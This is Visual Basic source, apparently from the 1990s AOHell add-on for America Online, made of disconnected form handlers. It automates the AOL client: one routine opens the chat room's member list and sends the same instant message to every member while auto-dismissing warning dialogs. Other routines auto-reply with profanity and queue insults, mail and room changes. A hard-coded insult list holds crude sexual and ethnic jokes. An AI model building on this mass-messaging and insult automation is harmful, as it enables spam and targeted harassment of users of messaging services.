            If chrontest1 > 0 Or chrontest2 > 0 Or chrontest4 > 0 Or chrontest5 > 0 Or chrontest6 > 0 Or chrontest7 > 0 Or chrontest8 > 0 Or chrontest9 > 0 Or chrontest10 > 0 Or chrontest11 > 0 Or chrontest12 > 0 Or chrontest13 > 0 Or chrontest14 > 0 Or chrontest15 > 0 Or chrontest16 > 0 Or chrontest17 > 0 Or chrontest18 > 0 Or chrontest19 > 0 Or chrontest20 > 0 Or chrontest3 > 0 Then Exit Sub
            If IMSendCheck = IM1 Or IMSendCheck = IM2 Or IMSendCheck = IM3 Or IMSendCheck = IM4 Or IMSendCheck = IM5 Or IMSendCheck = IM6 Or IMSendCheck = IM7 Or IMSendCheck = IM8 Or IMSendCheck = IM9 Or IMSendCheck = IM10 Or IMSendCheck = IM11 Or IMSendCheck = IM12 Or IMSendCheck = IM13 Or IMSendCheck = IM14 Or IMSendCheck = IM15 Or IMSendCheck = IM16 Or IMSendCheck = IM17 Or IMSendCheck = IM18 Or IMSendCheck = IM19 Or IMSendCheck = IM20 Then
              Exit Sub
            End If
          End If

          EditHand = VBEnumChildWindows(newwin, 4)  'i%

          SendHand = VBEnumChildWindows(newwin, 5)  'i%

          Name1 = InStr(1, IMessage, "{SN}")

          If Name1 > 0 Then
            If Name1 > 1 Then
              Name3 = Name1 - 1
            Else Name3 = 1
            End If

            Part1 = Mid$(IMessage, 1, Name3)
            Name2 = Name1 + 4
            Part2 = Mid$(IMessage, Name2)
          End If

          lint = 2000
          If Name1 > 0 Then

            lpstring = Part1 + IMSender + Part2
          '  MsgBox Len(IMSender)

          Else

            lpstring = IMessage
          End If

          X = SendMessagebyString(EditHand, WM_SETTEXT, lint, lpstring) ',lint
          DoEvents

          VBMsg1.SubClasshWnd = SendHand
          VBMsg1.SendMessage = WM_LBUTTONDOWN
          DoEvents
          VBMsg1.SendMessage = WM_LBUTTONUP

        End If
      End If

    End If

  End Sub

Sub Command3D1_Click ()
IMessage = Text1.Text
Unload Me

End Sub

Sub Command3D2_Click ()
Unload Me

End Sub

Sub Command3D3_Click ()
SendKeys "{F1}"
DoEvents

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(IMessage1.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

If IMessage = "" Then
Text1.Text = "Fuck off {SN}, I do NOT want to trade warez."
Else
Text1.Text = IMessage
End If

End Sub

Sub Command3D1_Click ()
GoTo IMBegin

IMError:
Exit Sub

IMBegin:
On Error GoTo IMError

thiswin% = FindWindow(0, "America  Online")
PeopleList = FindChildByClass(thiswin%, "_AOL_Listbox")

X = SendMessage(PeopleList, LB_GETCOUNT, 0, 0)
        Cur = 0
 AppActivate "America  Online"
 DoEvents
 Call Pause(1)
                  MBox = FindWindow(0, "America Online")
                  If MBox <> 0 Then
                  DoEvents
                  SendKeys "{ENTER}"
                  DoEvents
                  End If

For Y = 1 To X

SetCur = SendMessage(PeopleList, LB_SETCURSEL, Cur, 0)
Cur = Y
 VBMsg1.SubClasshWnd = PeopleList
 VBMsg1.SendMessage = WM_LBUTTONDBLCLK
 DoEvents
 Call Pause(1.5)
                  MBox = FindWindow(0, "America Online")
                  If MBox <> 0 Then
                  DoEvents
                  SendKeys "{ENTER}"
                  DoEvents
                  End If

 PersonWin = FindChildByTitle(thiswin%, "Message")

 While PersonWin = 0
 DoEvents
 PersonWin = FindChildByTitle(thiswin%, "Message")
 Wend
                  MBox = FindWindow(0, "America Online")
                  If MBox <> 0 Then
                  DoEvents
                  SendKeys "{ENTER}"
                  DoEvents
                  End If

 VBMsg1.SubClasshWnd = PersonWin
 VBMsg1.SendMessage = WM_LBUTTONDOWN
 VBMsg1.SendMessage = WM_LBUTTONUP
 DoEvents
 Call Pause(1)
 InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")

 While InstantWin = 0
 DoEvents
 InstantWin = FindChildByTitle(thiswin%, "Send Instant Message")
 Wend
                  MBox = FindWindow(0, "America Online")
                  If MBox <> 0 Then
                  DoEvents
                  SendKeys "{ENTER}"
                  DoEvents
                  End If

      VBMsg2.SubClasshWnd = InstantWin
      VBMsg2.SendMessage = WM_CHILDACTIVATE
 IMEdit = VBEnumChildWindows(InstantWin, 3)
 lint = 300
 lpstring = Text1.Text
 SendIM = SendMessageByString(IMEdit, WM_SETTEXT, lint, lpstring)
 DoEvents
 VBMsg2.SendMessage = WM_CHILDACTIVATE
 DoEvents
 SendButton = FindChildByTitle(InstantWin, "Send")
 While SendButton = 0
 DoEvents
 SendButton = FindChildByTitle(InstantWin, "Send")
 Wend
 DoEvents
 VBMsg2.SendMessage = WM_CHILDACTIVATE
 DoEvents
                  MBox = FindWindow(0, "America Online")
                  If MBox <> 0 Then
                  DoEvents
                  SendKeys "{ENTER}"
                  DoEvents
                  End If

 VBMsg1.SubClasshWnd = SendButton
 VBMsg1.SendMessage = WM_LBUTTONDOWN
 VBMsg1.SendMessage = WM_LBUTTONUP
 DoEvents
                  MBox = FindWindow(0, "America Online")
                  If MBox <> 0 Then
                  DoEvents
                  SendKeys "{ENTER}"
                  DoEvents
                  End If

 Call Pause(2)

Next Y

End Sub

Sub Command3D2_Click ()
Unload Me

End Sub

Sub Command3D3_Click ()
SendKeys "{F1}"
DoEvents

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(IMRoom.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Form_Resize ()
Dim Success As Integer

Success% = SetWindowPos%(IMRoom.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Command3D1_Click ()

'// I have removed this code for personal reasons
'// This is the only code that I have removed from
'// the original source code.
'//                   -DC

End Sub

Sub Command3D2_Click ()
MsgBox "If someone comes online and claims to be me (Da Chronic), make them prove it.  If they don't know how, then they are not me.  If they send you a string of weird characters, highlight the string of characters with the mouse (make sure you get all of the characters, and don't copy their screen name, just what they said), and go to the menu ""Edit"" and choose ""Copy"".  Then on AOHell, paste that string in the edit box by hitting CTRL+V.  After that, just hit the ""Is it Chronic?"" button and AOHell will tell you if that's really me or not.", 64, "Instructions"

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(IsChron.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

Sub Command3D1_Click ()
If Option4.Value = True Then Text9.Text = ""

If Combo1.Text = "Send Message" Then
If MessageNum = 1 Then
Message1 = Text1.Text
Message1Sp = Text1.Text
Event1 = 1
End If
If MessageNum = 2 Then
Message2 = Text1.Text
Message2Sp = Text1.Text
Event2 = 1
End If
If MessageNum = 3 Then
Message3 = Text1.Text
Message3Sp = Text1.Text
Event3 = 1
End If
If MessageNum = 4 Then
Message4 = Text1.Text
Message4Sp = Text1.Text
Event4 = 1
End If
If MessageNum = 5 Then
Message5 = Text1.Text
Message5Sp = Text1.Text
Event5 = 1
End If
If MessageNum = 6 Then
Message6 = Text1.Text
Message6Sp = Text1.Text
Event6 = 1
End If
If MessageNum = 7 Then
Message7 = Text1.Text
Message7Sp = Text1.Text
Event7 = 1
End If
If MessageNum = 8 Then
Message8 = Text1.Text
Message8Sp = Text1.Text
Event8 = 1
End If
If MessageNum = 9 Then
Message9 = Text1.Text
Message9Sp = Text1.Text
Event9 = 1
End If
If MessageNum = 10 Then
Message10 = Text1.Text
Message10Sp = Text1.Text
Event10 = 1
End If
End If

If Combo1.Text = "Send Mail" Then
If MessageNum = 1 Then
SendTo1 = Text2.Text
MSubject1 = Text3.Text
MMessage1 = Text4.Text
Event1 = 2
End If
If MessageNum = 2 Then
SendTo2 = Text2.Text
MSubject2 = Text3.Text
MMessage2 = Text4.Text
Event2 = 2
End If
If MessageNum = 3 Then
SendTo3 = Text2.Text
MSubject3 = Text3.Text
MMessage3 = Text4.Text
Event3 = 2
End If
If MessageNum = 4 Then
SendTo4 = Text2.Text
MSubject4 = Text3.Text
MMessage4 = Text4.Text
Event4 = 2
End If
If MessageNum = 5 Then
SendTo5 = Text2.Text
MSubject5 = Text3.Text
MMessage5 = Text4.Text
Event5 = 2
End If
If MessageNum = 6 Then
SendTo6 = Text2.Text
MSubject6 = Text3.Text
MMessage6 = Text4.Text
Event6 = 2
End If
If MessageNum = 7 Then
SendTo7 = Text2.Text
MSubject7 = Text3.Text
MMessage7 = Text4.Text
Event7 = 2
End If
If MessageNum = 8 Then
SendTo8 = Text2.Text
MSubject8 = Text3.Text
MMessage8 = Text4.Text
Event8 = 2
End If
If MessageNum = 9 Then
SendTo9 = Text2.Text
MSubject9 = Text3.Text
MMessage9 = Text4.Text
Event9 = 2
End If
If MessageNum = 10 Then
SendTo10 = Text2.Text
MSubject10 = Text3.Text
MMessage10 = Text4.Text
Event10 = 2
End If
End If

If Combo1.Text = "Instant Message" Then
If MessageNum = 1 Then
IMTo1 = Text5.Text
IMess1 = Text6.Text
Event1 = 3
End If
If MessageNum = 2 Then
IMTo2 = Text5.Text
IMess2 = Text6.Text
Event2 = 3
End If
If MessageNum = 3 Then
IMTo3 = Text5.Text
IMess3 = Text6.Text
End If
Event3 = 3
If MessageNum = 4 Then
IMTo4 = Text5.Text
IMess4 = Text6.Text
Event4 = 3
End If
If MessageNum = 5 Then
IMTo5 = Text5.Text
IMess5 = Text6.Text
Event5 = 3
End If
If MessageNum = 6 Then
IMTo6 = Text5.Text
IMess6 = Text6.Text
Event6 = 3
End If
If MessageNum = 7 Then
IMTo7 = Text5.Text
IMess7 = Text6.Text
Event7 = 3
End If
If MessageNum = 8 Then
IMTo8 = Text5.Text
IMess8 = Text6.Text
Event8 = 3
End If
If MessageNum = 9 Then
IMTo9 = Text5.Text
IMess9 = Text6.Text
Event9 = 3
End If
If MessageNum = 10 Then
IMTo10 = Text5.Text
IMess10 = Text6.Text
Event10 = 3
End If
End If

If Combo1.Text = "Leave Chat Room" Then
If MessageNum = 1 Then
LeaveChat1 = 1
Event1 = 4
End If
If MessageNum = 2 Then
LeaveChat2 = 1
Event2 = 4
End If
If MessageNum = 3 Then
LeaveChat3 = 1
Event3 = 4
End If
If MessageNum = 4 Then
LeaveChat4 = 1
Event4 = 4
End If
If MessageNum = 5 Then
LeaveChat5 = 1
Event5 = 4
End If
If MessageNum = 6 Then
LeaveChat6 = 1
Event6 = 4
End If
If MessageNum = 7 Then
LeaveChat7 = 1
Event7 = 4
End If
If MessageNum = 8 Then
LeaveChat8 = 1
Event8 = 4
End If
If MessageNum = 9 Then
LeaveChat9 = 1
Event9 = 4
End If
If MessageNum = 10 Then
LeaveChat10 = 1
Event10 = 4
End If
End If

If Combo1.Text = "Change Rooms" Then
If MessageNum = 1 Then
RName1 = Text7.Text
If Option1.Value = True Then
TypeR1 = 1
Else TypeR1 = 2
End If
If Check3D1.Value = True Then
BustIt1 = 1
Else BustIt1 = 2
Event1 = 5
End If
End If

If MessageNum = 2 Then
RName2 = Text7.Text
If Option1.Value = True Then
TypeR2 = 1
Else TypeR2 = 2
End If
If Check3D1.Value = True Then
BustIt2 = 1
Else BustIt2 = 2
Event2 = 5
End If
End If
If MessageNum = 3 Then
RName3 = Text7.Text
If Option1.Value = True Then
TypeR3 = 1
Else TypeR3 = 2
End If
If Check3D1.Value = True Then
BustIt3 = 1
Else BustIt3 = 2
Event3 = 5
End If
End If
If MessageNum = 4 Then
RName4 = Text7.Text
If Option1.Value = True Then
TypeR4 = 1
Else TypeR4 = 2
End If
If Check3D1.Value = True Then
BustIt4 = 1
Else BustIt4 = 2
Event4 = 5
End If
End If
If MessageNum = 5 Then
RName5 = Text7.Text
If Option1.Value = True Then
TypeR5 = 1
Else TypeR5 = 2
End If
If Check3D1.Value = True Then
BustIt5 = 1
Else BustIt5 = 2
Event5 = 5
End If
End If

If MessageNum = 6 Then
RName6 = Text7.Text
If Option1.Value = True Then
TypeR6 = 1
Else TypeR6 = 2
End If
If Check3D1.Value = True Then
BustIt6 = 1
Else BustIt6 = 2
Event6 = 5
End If
End If

If MessageNum = 7 Then
RName7 = Text7.Text
If Option1.Value = True Then
TypeR7 = 1
Else TypeR7 = 2
End If
If Check3D1.Value = True Then
BustIt7 = 1
Else BustIt7 = 2
Event7 = 5
End If
End If

If MessageNum = 8 Then
RName8 = Text7.Text
If Option1.Value = True Then
TypeR8 = 1
Else TypeR8 = 2
End If
If Check3D1.Value = True Then
BustIt8 = 1
Else BustIt8 = 2
Event8 = 5
End If
End If

If MessageNum = 9 Then
RName9 = Text7.Text
If Option1.Value = True Then
TypeR9 = 1
Else TypeR9 = 2
End If
If Check3D1.Value = True Then
BustIt9 = 1
Else BustIt9 = 2
Event9 = 5
End If
End If

If MessageNum = 10 Then
RName10 = Text7.Text
If Option1.Value = True Then
TypeR10 = 1
Else TypeR10 = 2
End If
If Check3D1.Value = True Then
BustIt10 = 1
Else BustIt10 = 2
Event10 = 5
End If
End If
End If

If Combo1.Text = "Locate Member" Then
If MessageNum = 1 Then
LocateName1 = Text8.Text
Event1 = 6
End If
If MessageNum = 2 Then
LocateName2 = Text8.Text
Event2 = 6
End If
If MessageNum = 3 Then
LocateName3 = Text8.Text
Event3 = 6
End If
If MessageNum = 4 Then
LocateName4 = Text8.Text
Event4 = 6
End If
If MessageNum = 5 Then
LocateName5 = Text8.Text
Event5 = 6
End If
If MessageNum = 6 Then
LocateName6 = Text8.Text
Event6 = 6
End If
If MessageNum = 7 Then
LocateName7 = Text8.Text
Event7 = 6
End If
If MessageNum = 8 Then
LocateName8 = Text8.Text
Event8 = 6
End If
If MessageNum = 9 Then
LocateName9 = Text8.Text
Event9 = 6
End If

If MessageNum = 10 Then
LocateName10 = Text8.Text
Event10 = 6
End If
End If

If Combo1.Text = "Send Insult" Then
If MessageNum = 1 Then
InsultNum1 = Text9.Text
If Option3.Value = True Then SInsult1 = 1
If Option4.Value = True Then SInsult1 = 2
Event1 = 7
End If
If MessageNum = 2 Then
InsultNum2 = Text9.Text
If Option3.Value = True Then SInsult2 = 1
If Option4.Value = True Then SInsult2 = 2
Event2 = 7
End If
If MessageNum = 3 Then
InsultNum3 = Text9.Text
If Option3.Value = True Then SInsult3 = 1
If Option4.Value = True Then SInsult3 = 2
Event3 = 7
End If
If MessageNum = 4 Then
InsultNum4 = Text9.Text
If Option3.Value = True Then SInsult4 = 1
If Option4.Value = True Then SInsult4 = 2
Event4 = 7
End If
If MessageNum = 5 Then
InsultNum5 = Text9.Text
If Option3.Value = True Then SInsult5 = 1
If Option4.Value = True Then SInsult5 = 2
Event5 = 7
End If
If MessageNum = 6 Then
InsultNum6 = Text9.Text
If Option3.Value = True Then SInsult6 = 1
If Option4.Value = True Then SInsult6 = 2
Event6 = 7
End If
If MessageNum = 7 Then
InsultNum7 = Text9.Text
If Option3.Value = True Then SInsult7 = 1
If Option4.Value = True Then SInsult7 = 2
Event7 = 7
End If
If MessageNum = 8 Then
InsultNum8 = Text9.Text
If Option3.Value = True Then SInsult8 = 1
If Option4.Value = True Then SInsult8 = 2
Event8 = 7
End If
If MessageNum = 9 Then
InsultNum9 = Text9.Text
If Option3.Value = True Then SInsult9 = 1
If Option4.Value = True Then SInsult9 = 2
Event9 = 7
End If
If MessageNum = 10 Then
InsultNum10 = Text9.Text
If Option3.Value = True Then SInsult10 = 1
If Option4.Value = True Then SInsult10 = 2
Event10 = 7
End If
End If

Unload Me

End Sub

Sub Command3D2_Click ()
Unload Me

End Sub

Sub Command3D3_Click ()
Text1.Text = "Stop swearing {SN}, that is a violation of TOS!"

End Sub

Sub Command3D4_Click ()
Text1.Text = "{SN}, stop scrolling the gun macro you dumbass lamer!"

End Sub

Sub Command3D5_Click ()
SendKeys "{F1}"

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(Action.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

Combo1.AddItem "Send Message"
Combo1.AddItem "Send Mail"
Combo1.AddItem "Instant Message"
Combo1.AddItem "Leave Chat Room"
Combo1.AddItem "Change Rooms"
Combo1.AddItem "Send Insult"

If MessageNum = 1 Then
If Event1 = 0 Then Combo1.ListIndex = 0
If Event1 = 1 Then Combo1.ListIndex = 0
If Event1 = 2 Then Combo1.ListIndex = 1
If Event1 = 3 Then Combo1.ListIndex = 2
If Event1 = 4 Then Combo1.ListIndex = 3
If Event1 = 5 Then Combo1.ListIndex = 4
If Event1 = 6 Then Combo1.ListIndex = 5
If Event1 = 7 Then Combo1.ListIndex = 5
End If
If MessageNum = 2 Then
If Event2 = 0 Then Combo1.ListIndex = 0
If Event2 = 1 Then Combo1.ListIndex = 0
If Event2 = 2 Then Combo1.ListIndex = 1
If Event2 = 3 Then Combo1.ListIndex = 2
If Event2 = 4 Then Combo1.ListIndex = 3
If Event2 = 5 Then Combo1.ListIndex = 4
If Event2 = 6 Then Combo1.ListIndex = 5
If Event2 = 7 Then Combo1.ListIndex = 5
End If
If MessageNum = 3 Then
If Event3 = 0 Then Combo1.ListIndex = 0
If Event3 = 1 Then Combo1.ListIndex = 0
If Event3 = 2 Then Combo1.ListIndex = 1
If Event3 = 3 Then Combo1.ListIndex = 2
If Event3 = 4 Then Combo1.ListIndex = 3
If Event3 = 5 Then Combo1.ListIndex = 4
If Event3 = 6 Then Combo1.ListIndex = 5
If Event3 = 7 Then Combo1.ListIndex = 5
End If
If MessageNum = 4 Then
If Event4 = 0 Then Combo1.ListIndex = 0
If Event4 = 1 Then Combo1.ListIndex = 0
If Event4 = 2 Then Combo1.ListIndex = 1
If Event4 = 3 Then Combo1.ListIndex = 2
If Event4 = 4 Then Combo1.ListIndex = 3
If Event4 = 5 Then Combo1.ListIndex = 4
If Event4 = 6 Then Combo1.ListIndex = 5
If Event4 = 7 Then Combo1.ListIndex = 5
End If
If MessageNum = 5 Then
If Event5 = 0 Then Combo1.ListIndex = 0
If Event5 = 1 Then Combo1.ListIndex = 0
If Event5 = 2 Then Combo1.ListIndex = 1
If Event5 = 3 Then Combo1.ListIndex = 2
If Event5 = 4 Then Combo1.ListIndex = 3
If Event5 = 5 Then Combo1.ListIndex = 4
If Event5 = 6 Then Combo1.ListIndex = 5
If Event5 = 7 Then Combo1.ListIndex = 5
End If
If MessageNum = 6 Then
If Event6 = 0 Then Combo1.ListIndex = 0
If Event6 = 1 Then Combo1.ListIndex = 0
If Event6 = 2 Then Combo1.ListIndex = 1
If Event6 = 3 Then Combo1.ListIndex = 2
If Event6 = 4 Then Combo1.ListIndex = 3
If Event6 = 5 Then Combo1.ListIndex = 4
If Event6 = 6 Then Combo1.ListIndex = 5
If Event6 = 7 Then Combo1.ListIndex = 5
End If
If MessageNum = 7 Then
If Event7 = 0 Then Combo1.ListIndex = 0
If Event7 = 1 Then Combo1.ListIndex = 0
If Event7 = 2 Then Combo1.ListIndex = 1
If Event7 = 3 Then Combo1.ListIndex = 2
If Event7 = 4 Then Combo1.ListIndex = 3
If Event7 = 5 Then Combo1.ListIndex = 4
If Event7 = 6 Then Combo1.ListIndex = 5
If Event7 = 7 Then Combo1.ListIndex = 5
End If
If MessageNum = 8 Then
If Event8 = 0 Then Combo1.ListIndex = 0
If Event8 = 1 Then Combo1.ListIndex = 0
If Event8 = 2 Then Combo1.ListIndex = 1
If Event8 = 3 Then Combo1.ListIndex = 2
If Event8 = 4 Then Combo1.ListIndex = 3
If Event8 = 5 Then Combo1.ListIndex = 4
If Event8 = 6 Then Combo1.ListIndex = 5
If Event8 = 7 Then Combo1.ListIndex = 5
End If
If MessageNum = 9 Then
If Event9 = 0 Then Combo1.ListIndex = 0
If Event9 = 1 Then Combo1.ListIndex = 0
If Event9 = 2 Then Combo1.ListIndex = 1
If Event9 = 3 Then Combo1.ListIndex = 2
If Event9 = 4 Then Combo1.ListIndex = 3
If Event9 = 5 Then Combo1.ListIndex = 4
If Event9 = 6 Then Combo1.ListIndex = 5
If Event9 = 7 Then Combo1.ListIndex = 5
End If
If MessageNum = 10 Then
If Event10 = 0 Then Combo1.ListIndex = 0
If Event10 = 1 Then Combo1.ListIndex = 0
If Event10 = 2 Then Combo1.ListIndex = 1
If Event10 = 3 Then Combo1.ListIndex = 2
If Event10 = 4 Then Combo1.ListIndex = 3
If Event10 = 5 Then Combo1.ListIndex = 4
If Event10 = 6 Then Combo1.ListIndex = 5
If Event10 = 7 Then Combo1.ListIndex = 5
End If

'oooooooooooooooooooooooooooooooooooooooooh shit

If MessageNum = 1 Then
Text1.Text = Message1Sp
Text2.Text = SendTo1
Text3.Text = MSubject1
Text4.Text = MMessage1
Text5.Text = IMTo1
Text6.Text = IMess1
Text7.Text = RName1
Text9.Text = InsultNum1
If SInsult1 = 1 Then Option3.Value = True
If SInsult1 = 2 Then Option4.Value = True
If TypeR1 = 1 Then Option1.Value = True
If TypeR1 = 2 Then Option2.Value = True
If BustIt1 = 1 Then Check3D1.Value = True
If BustIt1 = 2 Then Check3D1.Value = False
Text8.Text = LocateName1
End If

If MessageNum = 2 Then
Text1.Text = Message2Sp
Text2.Text = SendTo2
Text3.Text = MSubject2
Text4.Text = MMessage2
Text5.Text = IMTo2
Text6.Text = IMess2
Text7.Text = RName2
Text9.Text = InsultNum2
If SInsult2 = 1 Then Option3.Value = True
If SInsult2 = 2 Then Option4.Value = True
If TypeR2 = 1 Then Option1.Value = True
If TypeR2 = 2 Then Option2.Value = True
If BustIt2 = 1 Then Check3D1.Value = True
If BustIt2 = 2 Then Check3D1.Value = False
Text8.Text = LocateName2
End If

If MessageNum = 3 Then
Text1.Text = Message3Sp
Text2.Text = SendTo3
Text3.Text = MSubject3
Text4.Text = MMessage3
Text5.Text = IMTo3
Text6.Text = IMess3
Text7.Text = RName3
Text9.Text = InsultNum3
If SInsult3 = 1 Then Option3.Value = True
If SInsult3 = 2 Then Option4.Value = True
If TypeR3 = 1 Then Option1.Value = True
If TypeR3 = 2 Then Option2.Value = True
If BustIt3 = 1 Then Check3D1.Value = True
If BustIt3 = 2 Then Check3D1.Value = False
Text8.Text = LocateName3
End If

If MessageNum = 4 Then
Text1.Text = Message4Sp
Text2.Text = SendTo4
Text3.Text = MSubject4
Text4.Text = MMessage4
Text5.Text = IMTo4
Text6.Text = IMess4
Text7.Text = RName4
Text9.Text = InsultNum4
If SInsult4 = 1 Then Option3.Value = True
If SInsult4 = 2 Then Option4.Value = True
If TypeR4 = 1 Then Option1.Value = True
If TypeR4 = 2 Then Option2.Value = True
If BustIt4 = 1 Then Check3D1.Value = True
If BustIt4 = 2 Then Check3D1.Value = False
Text8.Text = LocateName4
End If

If MessageNum = 5 Then
Text1.Text = Message5Sp
Text2.Text = SendTo5
Text3.Text = MSubject5
Text4.Text = MMessage5
Text5.Text = IMTo5
Text6.Text = IMess5
Text7.Text = RName5
Text9.Text = InsultNum5
If SInsult5 = 1 Then Option3.Value = True
If SInsult5 = 2 Then Option4.Value = True
If TypeR5 = 1 Then Option1.Value = True
If TypeR5 = 2 Then Option2.Value = True
If BustIt5 = 1 Then Check3D1.Value = True
If BustIt5 = 2 Then Check3D1.Value = False
Text8.Text = LocateName5
End If

If MessageNum = 6 Then
Text1.Text = Message6Sp
Text2.Text = SendTo6
Text3.Text = MSubject6
Text4.Text = MMessage6
Text5.Text = IMTo6
Text6.Text = IMess6
Text7.Text = RName6
Text9.Text = InsultNum6
If SInsult6 = 1 Then Option3.Value = True
If SInsult6 = 2 Then Option4.Value = True
If TypeR6 = 1 Then Option1.Value = True
If TypeR6 = 2 Then Option2.Value = True
If BustIt6 = 1 Then Check3D1.Value = True
If BustIt6 = 2 Then Check3D1.Value = False
Text8.Text = LocateName6
End If

If MessageNum = 7 Then
Text1.Text = Message7Sp
Text2.Text = SendTo7
Text3.Text = MSubject7
Text4.Text = MMessage7
Text5.Text = IMTo7
Text6.Text = IMess7
Text7.Text = RName7
Text9.Text = InsultNum7
If SInsult7 = 1 Then Option3.Value = True
If SInsult7 = 2 Then Option4.Value = True
If TypeR7 = 1 Then Option1.Value = True
If TypeR7 = 2 Then Option2.Value = True
If BustIt7 = 1 Then Check3D1.Value = True
If BustIt7 = 2 Then Check3D1.Value = False
Text8.Text = LocateName7
End If

If MessageNum = 8 Then
Text1.Text = Message8Sp
Text2.Text = SendTo8
Text3.Text = MSubject8
Text4.Text = MMessage8
Text5.Text = IMTo8
Text6.Text = IMess8
Text7.Text = RName8
Text9.Text = InsultNum8
If SInsult8 = 1 Then Option3.Value = True
If SInsult8 = 2 Then Option4.Value = True
If TypeR8 = 1 Then Option1.Value = True
If TypeR8 = 2 Then Option2.Value = True
If BustIt8 = 1 Then Check3D1.Value = True
If BustIt8 = 2 Then Check3D1.Value = False
Text8.Text = LocateName8
End If

If MessageNum = 9 Then
Text1.Text = Message9Sp
Text2.Text = SendTo9
Text3.Text = MSubject9
Text4.Text = MMessage9
Text5.Text = IMTo9
Text6.Text = IMess9
Text7.Text = RName9
Text9.Text = InsultNum9
If SInsult9 = 1 Then Option3.Value = True
If SInsult9 = 2 Then Option4.Value = True
If TypeR9 = 1 Then Option1.Value = True
If TypeR9 = 2 Then Option2.Value = True
If BustIt9 = 1 Then Check3D1.Value = True
If BustIt9 = 2 Then Check3D1.Value = False
Text8.Text = LocateName9
End If

If MessageNum = 10 Then
Text1.Text = Message10Sp
Text2.Text = SendTo10
Text3.Text = MSubject10
Text4.Text = MMessage10
Text5.Text = IMTo10
Text6.Text = IMess10
Text7.Text = RName10
Text9.Text = InsultNum10
If SInsult10 = 1 Then Option3.Value = True
If SInsult10 = 2 Then Option4.Value = True
If TypeR10 = 1 Then Option1.Value = True
If TypeR10 = 2 Then Option2.Value = True
If BustIt10 = 1 Then Check3D1.Value = True
If BustIt10 = 2 Then Check3D1.Value = False
Text8.Text = LocateName10
End If

End Sub

Sub Timer1_Timer ()
If Combo1.Text = "Send Message" Then
Text1.Visible = True
Command3D3.Visible = True
Command3D4.Visible = True
Else
Text1.Visible = False
Command3D4.Visible = False
Command3D3.Visible = False
End If
If Combo1.Text = "Send Mail" Then cspicture1.Visible = True Else cspicture1.Visible = False
If Combo1.Text = "Instant Message" Then cspicture2.Visible = True Else cspicture2.Visible = False
If Combo1.Text = "Leave Chat Room" Then cspicture3.Visible = True Else cspicture3.Visible = False
If Combo1.Text = "Change Rooms" Then cspicture4.Visible = True Else cspicture4.Visible = False
If Combo1.Text = "Locate Member" Then cspicture5.Visible = True Else cspicture5.Visible = False
If Combo1.Text = "Send Insult" Then cspicture6.Visible = True Else cspicture6.Visible = False

End Sub

Sub Command3D1_Click ()

YMS1 = "Yo momma's so poor, she goes to KFC and licks other people's fingers!"
YMS2 = "Yo momma's so stupid, it takes her an hour to cook minute rice!"
YMS3 = "Yo momma's so fat, she uses a VCR for a pager!"
YMS4 = "Yo momma's so fat, she's protected by Green Peace!"
YMS5 = "Yo momma's so ugly, when she walks into Taco Bell everyone runs for the border!"
YMS6 = "Yo momma's so fat, I saw the back of her neck and thought I was in a library!"
YMS7 = "Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
YMS8 = "Yo momma's so stupid, she tripped over her cordless phone!"
YMS9 = "Yo momma's so short, she gotta cuff her panties!"
YMS10 = "Yo momma's so fat she on both sides of the family!"
YMS11 = "Yo momma's so ugly she had to go trick or treatin' over the phone!"
YMS12 = "Yo momma stink so bad she used Secret and it told!"
YMS13 = "Yo momma's so nasty I had phone sex with her and she gave me an ear infection"
YMS14 = "Yo momma's so fat she got to take her pants off to get her change!"
YMS15 = "Yo momma's is like a door knob, everyone gets a turn!"
YMS16 = "Yo momma stink so bad she used Sure and it got confused!"
YMS17 = "Yo momma's teeth so yellow when she simles you got to slow down!"
YMS18 = "Yo momma's so fat she got more chins than a Chinese telephone book!"
YMS19 = "Yo momma's so fat her blood type is Ragu!"
YMS20 = "Yo momma's so hairy, big foot took a picture of her!"
YMS21 = "Yo momma's so tall she did a cartwheel and kicked god in the chin!"
YMS22 = "Yo momma's so stupid she thought denial was a river in Egypt!"
YMS23 = "Yo momma's so stupid she got stabbed in a gun fight!"
YMS24 = "Yo momma's so old her Social Security Number is 1"
YMS25 = "Yo momma's so stupid she went to the movies with 16 other PPL because she thought under 17 not admitted!"
YMS26 = "Yo momma stink so bad she made Right Guard turn left!"
YMS27 = "Yo momma's like a video game, 3 Men for a quarter!"
YMS28 = "Yo momma's so fat she jumped for joy and got stuck!"
YMS29 = "Yo momma gums so black she spits out YooHoo!"
YMS30 = "Yo momma's teeth so yellow ""I can't believe it's not butter!"""
YMS31 = "Yo momma's so ugly she went into a haunted house and came out with a job application!"
YMS32 = "oh yeah, tell your mamma I said thanks!"

   If Option2.Value = True Then

Randomize

upperbound = 32
lowerbound = 1

RandomChoice = Int((upperbound - lowerbound + 1) * Rnd + lowerbound)

If RandomChoice = 1 Then Text1.Text = YMS1
If RandomChoice = 2 Then Text1.Text = YMS2
If RandomChoice = 3 Then Text1.Text = YMS3
If RandomChoice = 4 Then Text1.Text = YMS4
If RandomChoice = 5 Then Text1.Text = YMS5
If RandomChoice = 6 Then Text1.Text = YMS6
If RandomChoice = 7 Then Text1.Text = YMS7
If RandomChoice = 8 Then Text1.Text = YMS8
If RandomChoice = 9 Then Text1.Text = YMS9
If RandomChoice = 10 Then Text1.Text = YMS10
If RandomChoice = 11 Then Text1.Text = YMS11
If RandomChoice = 12 Then Text1.Text = YMS12
If RandomChoice = 13 Then Text1.Text = YMS13
If RandomChoice = 14 Then Text1.Text = YMS14
If RandomChoice = 15 Then Text1.Text = YMS15
If RandomChoice = 16 Then Text1.Text = YMS16
If RandomChoice = 17 Then Text1.Text = YMS17
If RandomChoice = 18 Then Text1.Text = YMS18
If RandomChoice = 19 Then Text1.Text = YMS19
If RandomChoice = 20 Then Text1.Text = YMS20
If RandomChoice = 21 Then Text1.Text = YMS21
If RandomChoice = 22 Then Text1.Text = YMS22
